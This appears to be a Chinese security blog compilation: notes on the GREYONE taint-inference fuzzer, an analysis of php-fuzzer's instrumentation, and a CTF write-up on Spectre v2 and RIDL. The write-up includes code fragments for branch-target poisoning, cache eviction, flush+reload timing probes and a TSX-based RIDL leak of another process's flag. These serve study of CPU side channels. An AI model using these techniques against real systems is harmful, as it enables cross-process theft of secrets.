假设有一个程序变量 (具体某个指令处) 和一个输入值 ,用来表示改变了的第个字节的值，用来表示当输入为时,变量的值。所以定义下面的规则用来表示，变量依赖于输入的第个字节。同理，如果一个条件分支指令的操作数变量依赖于输入的第个字节，我们就说这个分支依赖于输入的第个字节，

0x04 与指令级别的taint analysis的区别

它追踪变量的值，是处于一个更高的层次。
手动工作少，指令级别的taint analysis需要手动的给每个指令编写传播规则，（平台无关
从速度上，FTI更快，（1 他依赖于静态的代码插桩而不是动态二进制插桩（2 它只监控路径条件种的变量，而不是所有程序的变量。（3 它不需要给每个独立的指令制定规则
从准确性上，FTI比传统的更准，整个的推导规则是sound，如果一个变量被指定为依赖某个输入的字节，很大程度上确实是这样。从另一个方面来说，它不会出现over taint的错误，但是是可能造成under taint，通常情况是因为隐式的数据流传播，外部函数和系统调用。
将它和profuzz的比较起来了，profuzz也是一个一个字节的mutating（用于使数据结构化，但是只关注覆盖率，而不是变量的值。Mutaflow它只监控sink点参数中变量的变化，并不能提供关于其他变量的污染情况，其更关注APIs。

0x05 Taint inference具体细节

基于一字节的变异
1. 为什么用每次只变异一个字节
  1. 多字节无法确定究竟是哪个字节影响了变量的值
  2. 一字节变异产生比较少的testcase 和性能开销。
变量监控
1. 只监控出现在路径条件里的变量
  1. 监控少量的变量性能更快
  2. 这些变量会影响路径的探索，通过监控来达到探索尽可能多的路径。
污点推导
1. 经过，如果变量的值变了，我们就推断被污染了，且依赖于输入的第个字节
关于整个taint inference的算法

0x06 识别可以直接复制的输入值

含义是：一些字节上的值，如果导致了变量值的改变，可以保留这些字节上的实际值，例如魔数，checksum，lengt-check，这些精确的值是可以直接替换的。通过识别它们，可以有效解决路径探索上的一些问题。

Taint-Guided Mutation

通过taint analysis 指导输入的变异过程
输入决定了覆盖率
优先选择能覆盖更多未触发的分支输入进行变异
1. 如何刻画对每个字节进行变异的优先级？（字节的优先级
  1. 触发了更多untouched branch
  2. 触发了更多复杂的程序行为，直到触发了新的branch
2. 对种子输入的每一个字节，设定变异的优先级，下面是每个字节权重计算的公式：
  
  因为某一个位置的字节，可能会影响多个路径条件。
那么如何优先选择怎样的未曾触发的分支，进行变异呢？依赖于前面优先选择输入的过程？（branch的优先级
1. 如果一个未触发的分支，依赖于输入对应字节的权重之和越大，那么这个分支越越值得优先满足，即有下面的分支权重计算规则。
当探索一个分支时，通过已经制定好的优先级，对输入进行变异，包括精确的直接替换期望的输入？（在哪里变异或怎样变异？
1. 哪里变异？
  1. 给定一个seed 等价于给定了一条程序路径，根据前面的分支权重计算的结果递减排序，去探索这条程序路径上周围的未触发的分支路径。
  2. 当发现了一条新的分支路径，我们直接独立的变异其依赖的每一个字节，字节变异优先级按前面字节权重计算的结果递减排序。
2. 怎么变异输入的直接拷贝？
  1. 核心问题是“如何获取精确的值？”，这个过程处于FTI，如果是常量，我们直接记录这个常量值，如果是类似checksum，需要运行时计算的值，首先构造一个畸形输入，获取运行时的对应值，然后用这个值进行一些细微的修改来满足需求。（这个过程感觉好隐晦
3. 怎么变异输入的间接拷贝？
  1. 如果一些输入字节会影响某些为触发的分支路径，但是并不会直接在路径条件中使用它们的值，我们将会一个一个地变异这些字节（按照字节权重计算结果），不同于FTI中的byte-level，这里是可以多字节同时独立变异的。
4. 如何缓解under taint的过程？
  1. 由于FTI得到需要变异字节并不是完整的，所以对于那些没有涉及到的字节也需要考虑变异，所以会以比较小的概率变异FTI得到字节的相邻字节。

Conformance-Guided Evolution（基于适应性指导的进化策略

为什么要做它：大多数fuzzer都是通过控制流的特性(即输入能触发路径)，比如覆盖率，都指导整个进化策略。
它到底描述的是一个什么东西：tainted variable的值和在路径条件中这个variable期望的值的“距离”
适应性的计算
1. 未触发的分支的适应性
  
  对于给定未触发的分支,依赖于两个操作数变量和,定义其适应性约束如下。
  
  其中返回值为两个参数之间相等的字节数量，类似于switch 语句中条件和case 的值相互依赖。
2. 基本块的适应性
  
  对于给定的输入和已经发现的基本块,的适应性约束为其相邻的未触发的分支适应性约束的最大值。（有点绕
3. 测试用例的适应性
  
  对于一个给定测试用例,它的适应性约束定义为其路径上所有的适应性约束之和。
  
  从定义的结构上来看，如果一个seed具有比较大的适应性约束，可能有比较多的未触发的分支，且每个独立的分支具有比较高的适应性约束，其更有可能触发更多的路径。
基于适应性指导的种子更新
1. 传统的种子队列，用链表来表示，一个结点就是一个种子，通过扩展每个结点保护多个种子，这些种子是具体相同的执行路径和相同的适应性，但是具有不同的块适应性。
2. 关于种子的更新策略，有下面三种。
  1. 如果产生了新的执行路径，将创建一个新的结点，用存储这个种子
  2. 如果种子发现已经存在的路径，但是具有更高的适应性，清空这个结点，并把这个种子加入到这个结点
  3. 相同的执行路径和相同的适应性，但是具有不同的基本块适应性，直接将其加入到对应的结点

关于应用方面

静态分析和插桩
1. 覆盖率的计算
2. 适应性的计算
3. 变量值监控

Evaluation

基础fuzzer的比较
目标应用的测试
性能指标
种子的初始化（这是greyone的一个痛点，无法自生成seed
随机性的缓解
实现环境

漏洞发现

独立的crash cases比较

路径覆盖和边界覆盖的比较

总共发现了105个漏洞，其中25个是已知的，在其余的80个漏洞中，其中有41个被确定为CVE。

深度分析

FTI的性能的分析
1. 完整性：通过和DFSan的DTA(dynamic taint analysis)引擎比较
2. 性能消耗

php-fuzzer

TL;DR

这是一个比较有启发意义的项目，把现代fuzzer中的coverage guided的形式应用到了php上,现在对于php应用的安全的测试主要分布在基于黑盒的reqeust和response动态测试和静态的白盒审计,还有一个比较有前景的rasp,但是需要涉及php的内核。

php-fuzzer这个项目，我其实以前在想过一些方面的问题，但是又想到php应用太依赖于输入了，比如一个请求可能对应的一个单独的处理过程，但是这个调用过程并不是显式的，比如php里面的autoload,相当于一个间接调用，间接调用在静态分析过程中是非常致命的，往往不能找到准确的CFG（control flow graph),没有准确的CFG，就很难有准确的DFG(data flow graph). 种种原因很难在php下实现比较好的安全测试。

在这篇文章里面，我想讲一下php-fuzzer的原理和比较有意思点，它的作者是写php-parser的作者，php-parser这个项目就不用吹了。

0x00 整体架构

要分析一个fuzzer,应该从三个角度来看：

输入产生的机制
输入传递的机制
监控被测系统的机制

这个项目需要php > 7.4, 因为用一个php的新特性强类型--typed php ,看来php真在向java发展。

0x01 Generator

前面说了这个项目是基于覆盖率反馈的，那么它是如何计算覆盖率呢？其中一个比较重要的概念就是基本块（basic block), 为了提供基于覆盖率的反馈，需要给每个基本块一个独一无二的命名，并且在基本块结尾插入额外的代码，用来作为反馈，表示在一次执行的过程中，经过了这个基本块。

Hook include

php-fuzzer也是遵循了上面的过程。需要对被测php应用，进行语法分析，划分基本块，插入额外代码，重塑被测php应用。php-fuzzer使用的是动态插桩，并不会改变原php应用本地代码。这就涉及到如何在运行被测php应用的过程中去插桩？

运行一个php应用通常是以一个php文件作为入口点，然后动态的包含其他文件。如果我现在要去运行一个php应用，除了通过命令 php target.php 还可以我重新使用一个new.php去动态包含target.php,然后php new.php。

如果有一个方案是在include某个php文件之前，对这个php文件内容动态插桩，通过这个方案，我就能对整个php应用进行插桩，但是有一个问题是如何hook include? 我们不能去改变被测php应用的本地代码，而且如果改php内核来实现又太过于复杂，没必要。

所以在php-fuzzer里面第一个有意思的地方在这里，如何在php代码层面动态的hook include和require, 作者这里用了一个有意思的库https://github.com/nikic/include-interceptor, 通过stream_wrapper_register来实现,为什么hook file:// 协议就能hook include呢？因为在php内核里面对于IO的处理都有不同协议的wrapper, 对于include本地文件，那就是使用的file:// 协议的wrapper, 如果include 远程链接,就是使用的http://的wrapper。

用了上面这个办法，php-fuzzer就能实现在动态include目标文件之前改变文件内容实现插桩。

插桩

插桩相对来说好理解，先通过php-parser生成目标php文件的语法树,构造自定义的visitor,针对指定的节点插入额外反馈代码。

1
2
3

$___key = (Context::$prevBlock << 28) | BLOCK_INDEX;
Context::$edges[$___key] = (Context::$edges[$___key] ?? 0) + 1;
Context::$prevBlock = BLOCK_INDEX;

其中基本块的命名通过一个累加变量来实现

public function getNewBlockIndex(int $pos): int {
        $blockIndex = $this->blockIndex++;
        $this->fileInfo->blockIndexToPos[$blockIndex] = $pos;
        return $blockIndex;
    }

edge的定义为 prevBlockIndex << 28 | curBlockIndex,前一个块index左移28位或上当前块index,就是一个边界的命名。怎么划分php里面的基本块呢？

逻辑结构
- if
- else if
- else
- while
- for
- case
- catch
- switch
- ...
逻辑运算
- &&
- ||
- ！
- ==
- ！=

上述目标节点都可能影响控制流，针对不同的节点，插桩方法也不同，例如：

if($condition){
	//$stub
}
//stub

没有else的if 需要再上面两个地方插桩，但如果有esle的if,又有不同

if($condition){
	//$stub
}else{
	//$stub
}

现在这个if结构外面就不需要插桩了，还需要考虑一种情况：

1
2
3

if($condition1 && $condition2 //$stub){

}

上面插桩是额外的stmts而不是表达式,所以这里需要额外引入一种关于expr插桩的技巧：

1
2
3

if($condition1 && trace($conditions2)){

}

这里trace的返回值还是$conditions2不影响整体的逻辑。上述问题php-fuzzer均有考虑，这里就介绍完了一些插桩里面的小技巧,有点类似注释的fuzzer。

语料&&输入队列

输入可以用户提供，也可以初始化动态生成，一次输入执行的结果，就是关于edges[edge=>hit]的数组,需要进一步抽象相关的关系：

//count
//0: 0 hits
//1: 1 hit
//2: 2 hits
//3: 3 hits
//4: 4-7 hits
//5: 8-15 hits
//6: 16-127 hits
//7: >=128 hits

$feature = $count << 56 | $edge
//前面prevblock 和 curblock 的index使用了前56位，总体是64int

对比每次一次执行结构里面features,记录新的feature,如果有新的feature，就代表当前输入是能触发新的执行路径，就把当前的输入加入到输入队列，语料就是输入队列中总的输入字符串。

其中有一些小策略，两次输入有相同的features,取最短的输入，删除队列里面较长的输入。php-fuzzer也有精简输入语料的功能，保留最短和有不同features的输入。

输入变异和交叉

php-fuzzer有不同的变异策略，同样也有交叉策略，使用两个输入构造新的输入，其中相关函数都是基于libfuzzer，也有libfuzzer里面字典策略，字典策略有时候能提高效率，减少畸形的输入。

其中也有一个扩展输入长度的策略，如果在某个输入长度，迭代次数超过了相关最大次数，就可以尝试扩展输入长度的上限。

这些策略都是一些常规随机策略。

0x01 delivery

其中的输入传递策略，也就是我之前说通过include来执行目标php应用，所以再使用php-fuzzer之前你需要写一个target.php，php-fuzzer通过include这个target.php实现动态插桩和来设定输入目标，通常是是一个闭包函数。可以看看项目下example里面的例子：

<?php declare(strict_types=1);

/** @var PhpFuzzer\Fuzzer $fuzzer */

$autoload = __DIR__ . '/PHP-CSS-Parser/vendor/autoload.php';
if (!file_exists($autoload)) {
    echo "Cannot find PHP-CSS-Parser installation in " . __DIR__ . "/PHP-CSS_Parser\n";
    exit(1);
}

require $autoload;

$fuzzer->setTarget(function(string $input) {
    $parser = new Sabberworm\CSS\Parser($input);
    $parser->parse();
});

其中包含traget.php的过程在php-fuzzer中也是闭包执行，用来传递$fuzzer实例。

1
2
3

(static function(Fuzzer $fuzzer) use($path) {
            require $path;
        })($this);

0x02 monitor

我之前也好奇什么时候代表目标应用存在问题？二进制程序有crash或者hang可以代表问题的发现，php库类应该不会发生crash,php代码默认内存安全？其中相关php库类也应该有自己的错误处理机制。php-fuzzer对于错误的发现代码量也很少：

$crashInfo = null;
        try {
            ($this->target)($input);
        } catch (\Exception $e) {
            // Assume that exceptions are not an abnormal conditions.
        } catch (\ParseError $e) {
            echo "PARSE ERROR $e\n";
            echo "INSTRUMENTATION BROKEN? -- ABORTING";
            exit(-1);
        } catch (\Error $e) {
            $crashInfo = (string) $e;
        }

从代码上来看期望的Error的产生，对于为什么这样，作者给相关解释说：Exception的抛出通常是因为被测应用的自身错误处理的反馈，还有一个ParseError可能在插桩过程由于php文件本身问题解析语法树发生的问题。Error产生于php本身造成的错误。

php-fuzzer 注册了错误处理的handler, 当php内部错误触发时，能及时抛出一个Error：

set_error_handler(function($errno, $errstr, $errfile, $errline) {
            if (!(error_reporting() & $errno)) {
                return true;
            }

            throw new \Error(sprintf(
                '[%d] %s in %s on line %d', $errno, $errstr, $errfile, $errline));
        });

同时也考虑php代码本身的逻辑除外，超时也抛出一个Error，可能当前输入陷入死循环。在错误机制的处理过程也可以看到，能检测的代码问题本身还是比较局限。并不是用来检测通常web安全里面存在的问题。

0x03 思考

这个项目整体给我还是很有启发的，这是一次有意思的尝试，其中也有人在twitter上问作者本人这个东西和其他的php lib的检测有什么不一样？也有人把它和fuzz PHP内核方面搞混，它的意义在于把modern fuzzer 技术尝试到了php应用层面上。可能在php代码动态插桩和边界计算有些昂贵，正如作者说的那样，静态属性的边界表示确实很昂贵，可能考虑把这个插桩过程放在一个php 扩展上。那么试想把这个工作放在php 扩展上，需要做哪些工作呢？其实是相同的过程，php内核里面也有ast的中间过程，所以我们需要插入的是opcode中间指令，opcode抽象成函数调用，参数是特殊的基本块标志，类似LLVM里面的asan，同时也提供php层面的函数计算覆盖率。

如果把这个项目的方法试着推广到一般web应用，其实是比较难的，还是前面那个问题如何解决间接调用,解决不了间接调用就没法构造正确的执行路径，如果尝试结合黑盒测试，爬虫拿到有效的链接，我们可以忽略前置路径的构造，然后结合php source的插桩，这种情况下我们能探索什么问题，肯定不是一般的安全问题，因为一般的安全问题，黑盒测试构造的payload足以覆盖，可能是更深的逻辑问题？ Open Problem )

2020-02-03

pwn

ridl-and-spectre

1. 关于

本文记录了当时学习google-ctf-2019-final中sandbox-ridl过程，其中sandbox-ridl是一道关于处理器安全的题。

首先我们简单介绍一下这道题的相关情况，在一开始给的hints就直接清晰地暗示了我们它的来源，点明了给的代码本身并没有明显的缺陷，也比较容易理解。原程序会在一开始fork一个子进程，然后两个进程会做一些不一样的事，我们分别来看。

在父进程中会将目标flag放到全局变量char flag[25]中，然后挂起了一个循环操作，会使得全局变量readme所在地址对应的cache line被不断加载到cache中然后就马上清除掉，父进程会等到子进程结束而退出. 不出意外，这个奇怪循环操作肯定会引发一些目前我们还不知道的问题。
而在子进程中，mmap了两块可读可写可执行内存，我们可以利用其中一块内存执行代码，但是由于通过seccomp限制了我们只能使用read, write, exit三个syscalls. 所以这里要做事就是在受限的子进程中想办法拿到父进程中的全局变量flag的值，很显然这里可用的syscalls并不足以支撑我们做跨进程leak，只能从题目给的hints出发。

从题目的名字，搜到了名为RIDL: Rogue In-Flight Data Load的一篇论文，论文中提到的处理器中的预测执行 (speculative execution)，让我想起了之前在先知看到的一篇文章深入Spectre V2——跨进程泄露敏感信息。我只是隐约记得这篇文章，其内容当时也不是看的很懂，决定再来看一遍，所以本文也记录了学习Spectre的过程。

2. Spectre

2.1 前置知识

攻击手法如其名“幽灵”，在了解它之前，需要先恶补一些基础知识。

2.1.1 乱序执行 (Out of Order Execution)

发展历程：顺序执行 --> 流水线执行 --> 乱序执行, 我们将用图示来介绍这一演变过程。在顺序执行下, 指令将逐一处理，意味着一条指令要等到前一条指令处理完毕后才能被执行。当加入了流水线的技术，我们使用不同的流水线处理不同的指令，比如上图有4个流水线，用来分别处理fecth, decode, execute和write，最后我们在9个cycle内多处理了一倍多的指令，效果显著，但是流水线上的指令依然还是顺序执行的。在现实情况下，考虑到每条指令的执行时间并不是相同，或长或短，就会造成上图的这样一种等待现象。乱序执行我们考虑这6条指令相互并不依赖, 因此我们可以调整指令的执行先后顺序, 上图中我们把inst1放到了最后, 使得等待现象消失, 流水线被充分地利用了起来. 最后附上一张intel核心处理器的流水线图: intel流水线处理图

2.1.2 推测执行 (Speculative Execution)

乱序执行原则上是需要充分考虑指令之间的数据依赖关系，依赖关系出现时依然会导致流水线空转，比如条件跳转，当这个指令没有retire之前，微处理器甚至都不知道去哪里fetch下一个指令。为了解决这个问题，微处理器会尝试推测哪一个分支最有可能被执行，并在条件跳转retire之前在流水线上执行对应的分支，这样的操作我们称之为推测执行。很容易想到，它推测的结果并不一定和最后条件跳转结果相同，这个时候我们就不能把这个invalid results更新到寄存器或者内存上，这可以看做一次branch misprediction，其中执行的时钟周期也是被浪费了。为了尽可能减少branch mispredictions, 又衍生出了很多优化操作. 比如饱和式计数器 (saturating counter)，下图为2-bit饱和式计数器，它有4个状态，我们可以用它来记录更新某个条件跳转指令的历史结果，只有当状态为strongly taken或者strongly not taken，我们才选择去对应的分支或者对立的分支. 这种方法对那些大部分时间都选择相同分支的条件跳转指令来说非常合适，但是对应那些经常改变分支选择的条件跳转并不友好。 2-bit饱和式计数器

2.1.3 分支预测 (Branch Prediction Unit)

这个单元主要用于优化上面整个流水线图中的instruction fetch部分，在完成分支跳转整个周期之前，预测性选择分支执行。主要优化以下部分： 1. Return Stack Buffer (RSB)用来帮助预测ret指令的执行。 2. 间接调用和跳转可能被预测为一个源地址到目的地址的简单映射，也可能根据程序之前运行的状态和行为来预测目的地址。 3. 针对条件分支，用于预测哪个目的分支应该被执行。

2.1.4 访存周期

这里需要了解一下 TLB 和 cache的含义，TLB用于mmu在虚拟地址与物理地址的快速转换，物理内存和虚拟内存通过页交换，物理页和虚拟页的大小一样都是4096，所以虚拟地址上低12位用于在页上偏移。

在完成物理地址的地址转换以后，再访问cache，cache的一般架构为n路组相联：

这里就是4路，整个cache大小为64 * 64 * 4 = 16kb，其中关于set的计算： tag只是部分物理地址，cacheline长度一般为64bytes，所以这里低6位用于对齐cache-block，紧接的6位用于标记set，看上去cache有点像hashtable，4路相当于有4个buckets，意味着任意一个cacheline都可能位于这四个cacheline其中一个位置上，这就关系到cache 的插入算法上。如果cache 缓存没有命中就需要去访问主存了，这其中的时间周期就很显然易见了，了解cache的结构有利于后面过程的理解。

2.2 攻击流程

2.2.1 基础设施

CPU中会利用Branch Target Buffer (BTB) 用来存储预测状态，在intel Haswell上是一组index为部分源虚拟地址，value为部分目标虚拟地址键值映射序列，其中部分是指低31位虚拟地址。

BTB中的每个映射单元是不存在唯一性的，即在相同cpu核心上所有运行的进程是共享的，如果通过A进程中分支运行结果填充BTB，是不是可以跨进程影响到B进程的分支预测，利用错误的分支预测制造一个短暂的执行窗口去执行任意目标地址的gadget？

答案是yes。Spectre也正是利用了这一点，但是实际上并没有想象的顺利，在intel Haswell中BTB仅用于通用分支预测，cpu更倾向于采用一种叫间接分支预测：

只有当间接分支预测失败的时候，才会去使用通用分支预测，这时候需要考虑如何干扰间接分支预测，从学习资料的看到，这里有两种方法，一个是对间接分支预测这个模式进行逆向，而是猜测并实验，间接分支预测会采用之前分支执行，那么从三个方面猜和做实验：

储存的之前分支执行的什么信息？
储存了多少的分支执行的记录？
储存的是什么样的分支执行：call , jump , ret ,conditional branch ? 或者说什么分支执行对BHB影响最大？

结论：BHB的长度为58bits，可以记录29个分支。满足条件的分支，无条件直接跳转，无条件间接跳转，ret对BHB影响较大。其中的任何一种分支类型作用效应上都是相似，意思是可以单纯使用大量单一ret来填充BHB，对其产生干扰。

其中猜测和做实验的基本模型值得学习：

1E1CB018-98EF-4799-8C75-F0AA6A2E0A69.png

进程1和进程2的，相同的代码，内存分布基本完全一样，同时运行在同一个核心上，不同是call的目标地址不一样，进程2循环去读一个test变量，进程1测量读test变量需要的周期，由于可能产生的错误预测，导致进程1去提前读test变量，导致cache缓存test变量，紧接着测量的周期小与从主存读取的周期，这就是标准的flush-reload攻击。这里我之前会简单的认为两个进程共享test变量，会造成歧义的理解，这里test是各自进程的独有的，所以这里需要注意一下。这是一个非常好的基础实验模型，可以通过在indirect call之前添加其他需要测量的指令，看反馈，比如简单的判断BHB记录的分支个数，可以累计添加分支执行来进行计算，如果某一时刻misprediction失败，添加分支的总数就是BHB可以保证的最大分支记录，这是一种粗略的计算，作者也说这样计算的结果其实和真实的26是有一定差距的。但是在测试不同分支类型的对mispreditcion的影响还是非常有作用的。

2.2.2 具体的攻击流程

需要理解为什么通过这中攻击去泄漏数据？因为错误的分支预测会制造一个短暂的执行窗口，这个执行的位置是可控的，虽然错误的执行，处理器会读其忽略，并恢复它产生的印象，但是例如在错误执行的过程中设计到一些数据的储存，这些数据可能会被写入cache，而cache里面的数据并不会被忽略，即处理器不会回滚cache的状态，这就相当于我们可以利用cache形成一个隐蔽信道来泄漏数据。

这里只讨论跨进程的泄漏，从整体上可以分为攻击者进程和受害者进程，这里总结一下《深入Spectre V2——跨进程泄露敏感信息》文章中的demo：

攻击者和受害者有简单信息通信，代表攻击者有比较小的权限可以控制受害者。
影响分支预测的点在于受害者plt中跳转sprintf@got的表项
关闭地址随机化带来的影响，攻击者fork一个新的受害者子进程成为训练进程，在其内存空间内把sprintf@got位置的地址换成指定gadget_1的位置，ptrace注入代码循环调用,毒化BTB通用分支预测，并且干扰BHB的分支缓存：
1
2
3
4
5
6
7
8
9
10
loop:
mov rax, sprintf@plt # sprintf@plt == 跳转的源地址
call rax
jmp loop

gadget_1:
ret
ret
ret
ret

受害者进程内存地址中和gadget_1相同虚拟地址的位置保存着真实的gadget_2:

__asm__(".text\n.globl gadget\ngadget:\n"       //编到.text段，导出gadget符号
        "xorl %eax, %eax\n"                     //清空eax
        "movb (%rdx), %ah\n"                    //rdx可以被攻击者控制
        "movl ProbeTable(%eax), %eax\n"         //访存
        "retq\n");

受害者在通用调用sprintf的时候，可控是第三个参数rdx，ProbeTable是一块预先分配的共享内存，上面这段汇编主要就是用来将指定地址的字符转换成ProbeTable的地址，注意这里为什么要存储到ah中，主要用来对齐cacheline。

-攻击者进程还需要fork一个进程用来驱逐sprintf@got处的缓存，保证在这里产生分支预测。

最后攻击者通过探查ProbeTable上256个字符对应的cacheline访存周期，通过多次发送目标地址的字符泄漏，多次探测设定命中阀值，输出泄漏结果。

2.2.3 思考

这个过程中我注意到两个比较有意思的, 第一个是探测ProbeTable的过程并不是顺序的：

for(j = 0; j < 256; j++){
	index = (j * 167 + 13) & 255; // 
	address = &mm[index * 0x100]; //
	if(probe(address)){
		...
	}
	}

对一个每个cell并不是从0-255顺序来探测的，其中在另一篇文章中提到是用来防止步幅预测的，这个地方可以留下一个疑问。

第二个, 驱逐sprintf@got处缓存的内容中并不是单纯使用clflush指令，而且通过sprintf@got确定缓存其的cache-set，固定cache-set，然后循环递增低12位bit后面bit位，相当于改变tag，并访问：

unsigned long off = ((unsigned long) ptr) & 0xfff;          //取低12位，确定cache-set log2(num_buckets) bits (e.g. 6) + log2(cacheline_size) bits (e.g. 6)  
	volatile char *ptr1 = space + off;
	volatile char *ptr2 = ptr1 + 0x2000;                        //两次刷新
	for (int i = 0; i < 4000; i++) {
		*ptr2;                  //刷新 == 替换  类似于hashtable
		*ptr1;                  //替换got所在的cache-set
		ptr2 += 0x1000;
		ptr1 += 0x1000;
	}

这种方法变相插入直接刷新来整个cache-set，那么sprintf@got肯定也受到影响了。

这个demo的局限性还是比较大的，gadget是直接写到受害者text里面，关闭了pie消除了地址随机化的干扰，还需要一块共享内存。但是还是不影响这个攻击手法是非常有意思的，分支预测导致的短暂的执行窗口，除了cache能保存一些数据，是否存在一些其他的缓存单元也能保存一些数据呢？

3. RIDL(Rogue In-Flight Data Load)

3.1 基础设施

ridl属于MDS(Microarchitectural Data Sampling)类型攻击的一种，它并不是一种设计产生的漏洞，而是一种应用上的漏洞。这是它与spectre最大的不同。为什么这里会用“Sampling”这个词？在描述完整个攻击手法之后，就可以解释这个问题。

3.1.1 intel TSX

这个前置知识我认为非常重要，不然会很难理解后面的攻击流程，这是一种基于硬件的事务内存同步机制的优化，避免一些无意义加锁变量，我的理解就是相当于把一块指令集合当作一个原子操作，这些指令读写操作在一个特殊区域中，只有在读写与其他逻辑处理器之间没有冲突的情况下，并且完成了整个集合指令的执行，才能把这个集合产生的状态影响从特殊区域里面拿出来，对全局可见或者说写到主存上。

这个读写特殊区域在哪呢？在L1d cache里面，在这块指令集合中，需要读的内存单元组成一个read-set，需要执行写的一些内存单元，这些内存单元组成一个write-set，这些集合元素都以cacheline存储在L1d cache里面。比如read-set里面一个内存单元，肯定L1 某个set中cacheline上，如果这个cacheline改变了，比如另外一个逻辑处理器把这个cacheline驱逐了，这个时候就会导致冲突的产生，这块事务内存操作就会失败。简而言之，就是读写都在cache上，read-set和write-set对应的cacheline不会被改变就行，当然了如果说一些长度比较长的变量，无法被缓存的数据，可能会直接导致事务内存执行的失败。

3.1.2 L1d Cache的组成

Data Cache Unit (DCU) 数据缓存单元 32kb-8way
Load buffers 64-entry
Store buffers 32-entry
Line fill buffers (LFB) 10-entry

由上面4个单元组成，后面是Sandy Bridge Microarchitecture的标准参数，DCU 大小是32kb，8路组相联，通过简单的换算有64个set，有两个Load 和 Store 缓存器，L1可以同时维护64个Load操作，32个store操作。LFB用来维护非时间局限性的数据，即确保后面不会再次访问的数据。概览图如下：

651FB45F-A784-4273-A312-C15879ACE80D.png

3.1.3 Line fill buffers (LFB)

可以看到在访问L1d cache之前是会经过LFB的，这个LFB用来干什么呢？从数据load的说起，每一个load操作的开始都会在load buffers里面创建一个entry，表示load处于pending状态，紧接着需要完成虚拟地址到物理地址的转换，前面到的TLB就是用于这个过程的优化，如果TLB没有命中，那就要去遍历页表，完整地址转换，接着用低12位去确定在cache中位置，那么首先就是L1d，如果在L1d被命中，那么这个load操作就完成了。

如果说L1d并没有命中，那这个时候就需要访问更高一层的cache或者主存，这时候就需要经过LFB，会在LFB同样创建一个entry，这个时候如果说是uncacheable 内存块或者是non-temporal ，LFB就会去访问主存，LFB在完成读取操作以后，可以决定是否再把这块数据是否再放到L1d中，完成整个操作之后，LFB中的entry才会被移除。LFB里面会有一段时间来保留存储的数据，这些entry里面的数据称为in-flight data。

这些LFB里面的entry 可能为了尽可能减少延时，可能只会保留少部分物理地址tag，那么紧接着又来一个load操作，可能就会直接使用这些entry，有点像在硬件层面的 use-after-free，这就是RIDL泄漏的根源所在。

3.2 猜测与实验

在《RIDL: Rogue In-Flight Data Load》这篇论文中，在探索leak的源头的时候，做来3个实验，用来进一步确定泄漏的源头在LFB上。

同核心smt 超线程下，开启受害者进程和攻击者进程，lfb-hit 计数器的值是和攻击过程中leak到正确字符的次数是成正比的。
同核心非smt超线程下，没有受害者进程，只有攻击者进程，只能leak到0，并且同样lfb-hit计数器的值也是攻击过程leak到字符的次数是成正比
同核心非smt超线程下，受害者进程和攻击者进程都存在，只能leak出少部分正确的字符，同样lfb-hit计数器同leak字符个数成正比的。

上述三个对照实验为一组实验受害者进程循环把敏感字符写到固定的位置，攻击者用RIDL exploit代码进行leak。

通过内核模块把内存分别标记为write-back，write-through，write-combine，uncacheable，对应着不同cache方式。
受害者进程先把敏感字符写入固定的位置之后，循环读取该字符。攻击者用RIDL exploit代码进行leak。
对照情况下，同样受害者进程先把敏感字符写入固定位置，循环读取并刷新cache。攻击者用RIDL exploit代码进行leak。

结果是WB 和 WT在没有刷新cache的情况下，是无法leak出敏感字符，刷新以后就可以leak了。上一个实验说明leak是和LFB有关的，这个实验又进一步说明和LFB有关，因为在WB和WT情况下，load操作的数据被缓存了，再次读的时候不需要经过LFB。使用无法leak。

受害者进程循环把ABCD写入到固定位置，攻击者进程用RIDL exploit代码进行leak。
对照情况下，受害者进程循环把ABCD写入到固定位置并刷新cache，攻击者用RIDL exploit代码进行leak。

结果是在WB的情况下，只能leak到字符D，这是由于WB cache写机制的原因，在这种机制下，写到cache的值，不会直接同步主存，但会被标记，只有在主动刷新或者被其他cacheline插入驱逐的时候，才会同步到主存。可能在这种情况，LFB里面4个store操作使用一个entry。也强有力的说明了leak与cache无关。而是在LFB上。

3.3 攻击流程

这里就用google-2019里面的 sandbox-ridl来概述：

这道题题意很清楚，两个进程，一个进程里面内存里面有读到的flag，另一个进程相当于一个sandbox，只能执行write，read，exit，同时又给了一块很大的内存。题目名字也指向了ridl，肯定就要跨进程读取了。

再看一下含有flag的进程称之为受害者进程是不是有flag频繁存储，这是ridl攻击的前提。

unsigned long readme;
char flag[25] = {0};
void victim() {
  read_flag();
  while (1) {
    for (int i = 0; i < 10000000; i++) {
      _mm_prefetch(&readme, _MM_HINT_NTA);
      _mm_mfence();
      _mm_clflush(&readme);
      _mm_mfence();
    }
    int wstatus;
    if(check(waitpid(-1, &wstatus, WNOHANG), "waitpid")) {
      puts("child exited, bye!");
      exit(0);
    }
  }
}

乍一看，似乎没有对flag的操作。但这里需要考虑cacheline的存在，给的chal二进制里面，readme的地址为0x40f0,flag的地址为0x40d0，做一个简单的计算0x40f0/64*64=0x40c0,flag是处于和readme一个cacheline里面的，这里其实有一个有意思的东西，就是cache 和地址对齐关系，编译器常常会把变量放到以4或者8对齐的地址上。比长度比较小的变量，就会尽可能放在一个cacheline里面，这里有这样一个小优化。

这里受害者进程通过循环prefetch和cflush是满足让flag所在的cacheline进过LFB，接下来就是构造ridl泄漏的具体过程。

确定给内存大小，256 * (4096/8)是满足字符到地址转换的256个cmdline条件的。

使用tsx来泄漏lfb，前面有一个重要的东西没有讲，就是rdtsc指令，可以用来计算其他指令的运行时间，同时由于out-of-order的存在，需要显式使用mfence来确定顺序，下面这段汇编就可以用来粗略的测量访存时间：

int probe(char *adrs) {
    volatile unsigned long time;
    asm __volatile__ (
                    " mfence\n"
                    " lfence\n"
                    " rdtsc\n"
                    " lfence\n"
                    " movl %%eax, %%esi \n"
                    " movl (%1), %%eax\n"
                    " lfence\n"
                    " rdtsc\n"
                    " subl %%esi, %%eax \n"
                    " clflush 0(%1)\n"
                    : "=a" (time)
                    : "c" (adrs)
                    : "%esi", "%edx");
                    return (time < THRESHOLD);
}

因为时间周期比较短，不需要使用rdtsc返回指edx上时钟周期的高位（edx:eax）。threshold为cache访存阀值，一般为100.

if (_xbegin() == _XBEGIN_STARTED) {
     asm volatile(
         "movzxb   (%0),%%rbx\n\t"
         "shl    $0x9,%%rbx\n\t"
         "add    %1,%%rbx\n\t"
         "mov    (%%rbx),%%rbx\n\t"
         :
         : "r" (off), "r"(probe)
         : "rbx");
     _xend();
   } else{
	...
	if (is_cached(probe + CACHELINE * i)) {
             hist[i]++;
           }
       ...
}

